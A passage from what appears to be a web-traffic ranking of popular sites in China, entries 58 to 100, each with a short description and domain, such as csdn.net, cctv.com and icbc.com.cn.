起点中文网优秀的中国原创文学门户网站，数万名网络作家在线写作博客，中国最大的在线电子图书出版平台，数百万文学爱好者的网上阅读交友社区，拥有奇幻、武侠、都市、言情、科幻等数十亿字原创文学作品，向作家提供原创文学作品网络和实体出版机会qidian.comSite info for qidian.com
58.
大旗网提供新闻媒体的娱乐休闲资讯，并提供其他论坛的文摘精选、论坛导航和搜索服务。daqi.comSite info for daqi.com
59.
中国软件开发网提供业界新闻，技术文章，讨论社区和软件下载；出版《程序员》杂志。csdn.netSite info for csdn.net
60.
中国博客网免费Blog托管服务，支持单人、双人、多人及音乐模式。blogcn.comSite info for blogcn.com
61.
Alimama.comalimama.comSite info for alimama.com
62.
IT世界提供PC硬件和数码产品资料、评测、行情、新闻、使用经验及选购指南。it.com.cnSite info for it.com.cn
63.
中华英才网求职招聘网站，包括招聘信息，人事论坛等。chinahr.comSite info for chinahr.com
64.
Youku.com/user/signupyouku.com/user/signupSite info for youku.com/user/signup
65.
Mofile.commofile.comSite info for mofile.com
66.
Mozilla.commozilla.comSite info for mozilla.com
67.
Blogbus.com提供收费和免费两种形式的博客托管服务商，有多种模板供选择，支持绑定独立域名等。blogbus.comSite info for blogbus.com
68.
RapidShareUsers can upload up to 100 meg files for sharing. Provides downloads of 100 megs per hour on the free service. Premium service also available.rapidshare.comSite info for rapidshare.com
69.
中央电视台中央电视台的官方网站，提供节目预告、在线电视收看、最新电视节目介绍及讨论。cctv.comSite info for cctv.com
70.
焦点房地产网(FOCUS.cn)中国人气最旺、最有价值的房地产专业网站，内容覆盖写字楼、别墅、商业地产、装修家居等，提供全面及时的房地产新闻资讯和各大城市的新房、二手房、租房、装修信息。www.focus.cn,a leading real estate website in China。Focus.cn is leading real estate website in China. The website attracts a more senior user group of homeowners with high income and real estate professionals.focus.cnSite info for focus.cn
71.
环球网环球时报社主办的以国际资讯为主的新闻网站huanqiu.comSite info for huanqiu.com
72.
Yahoo!カテゴリ有料審査制のディレクトリ。ウェブサービスの形でAPIを公開。yahoo.co.jpSite info for yahoo.co.jp
73.
太平洋汽车网汽车综合信息网站，含报价、测评、行业动态和相关产品介绍。pcauto.com.cnSite info for pcauto.com.cn
74.
西祠胡同西祠胡同由响马创建于 1998 年，是中国最早的网络社区。目前已经形成了中国最大规模的社区群落，是内容最为丰富，网友最为活跃的华人社区网站。xici.netSite info for xici.net
75.
51job.com51job.com is the leading recruitment website in China, with the most registered members (over 21 million), the largest resume database (over 14.5 million), and the highest peak traffic (over 30 million average daily page views). On average, there are over 800 thousands of effective job postings online, and approximately 10 million resumes are delivered to potential employers every week. 51job.com has received recognition from several industry watchers (e.g. CNNIC and PCHome) honoring 51job.com a51job.comSite info for 51job.com
76.
WikipediaAn online collaborative encyclopedia.wikipedia.orgSite info for wikipedia.org
77.
Blogger.comFree, automated weblog publishing tool that sends updates to a site via FTP.blogger.comSite info for blogger.com
78.
4399.com4399.comSite info for 4399.com
79.
寻医问药网寻医问药网，是提供医生，患者，相互交流的平台，也是中国唯一为寻医患者搭建在线咨询的医疗网站，更是目前国内人气最旺、规模最大、最权威的寻医问药网站xyxy.netSite info for xyxy.net
80.
Kuaiche.comkuaiche.comSite info for kuaiche.com
81.
Googlesyndication.comgooglesyndication.comSite info for googlesyndication.com
82.
Cncnet.netcncnet.netSite info for cncnet.net
83.
世纪佳缘以爱情为目的的交友网站。love21cn.comSite info for love21cn.com
84.
Sina1.comInternet media company for Chinese communities worldwide, offering a full array of Chinese-language news, entertainment, financial information, and lifestyle tips (Nasdaq: SINA).sina.comSite info for sina.com
85.
金融界网包括财经、理财、证券、行情、股票、基金、债券、保险、外汇、银行、期货、信托及各种理财资讯和理财产品.jrj.com.cnSite info for jrj.com.cn
86.
FC2無料ブログ(blog)、ホームページサービス、ウェブアプリケーション各種などfc2.comSite info for fc2.com
87.
Zhaopin.comChina-based job opportunities for mainland Chinese and expatriates.zhaopin.comSite info for zhaopin.com
88.
MySpace.cn提供创建在线社区的平台。功能包括在线聊天、博客、朋友圈子、讨论区、照片分享。myspace.cnSite info for myspace.cn
89.
Msn.com.cnmsn.com.cnSite info for msn.com.cn
90.
口碑网着眼于全国的生活类网站，涵盖了衣、食、住、行、玩各类信息，提供生活类店铺黄页还有房产、工作、交友、二手货等各种分类信息，全方位满足用户生活、工作、社交等方方面面的需求。koubei.comSite info for koubei.com
91.
OrkutSocial networking and discussion site operated by Google.orkut.comSite info for orkut.com
92.
Industrial and Commercial Bank of ChinaThis state-owned bank is the largest in Asia, and fourth-largest in the world.icbc.com.cnSite info for icbc.com.cn
93.
做中国最好的问答网站有问题,问奇虎!奇虎网致力于创建中国最活跃的问答网站,以领先的搜索技术,加上亿万网友组成的问答社区,让您有任何问题,都能快捷地在奇虎网找到答案。Qihoo is the leading UGC search engine and Qqihoo.comSite info for qihoo.com
94.
汽车之家(Autohome.com.cn)我的汽车网站，我的汽车之家autohome.com.cnSite info for autohome.com.cn
95.
FlickrPicture galleries available with social networking, chat, groups, and photo ratings.flickr.comSite info for flickr.com
96.
Pomoho.compomoho.comSite info for pomoho.com
97.
携程网提供旅游目的地指南，酒店、机票和度假网上预订。ctrip.comSite info for ctrip.com
98.
全能搜索雅虎全能truene.com更全能，雅虎全能搜索整合网页、图片、音频、视频、新闻等各种搜索产品的智能型通用中文搜索引擎。爱搜索，爱雅虎！爱马云！yahoo.cnSite info for yahoo.cn
99.
Poco.cn图片空间；电子杂志；摄影、美食、旅游、达物、宠物、手机6大社区；poco.cnSite info for poco.cn
100.
中国移动通信提供移动服务，互联应用，无线网络建设，GSM短信息应用等。chinamobile.comSite info for chinamobile.com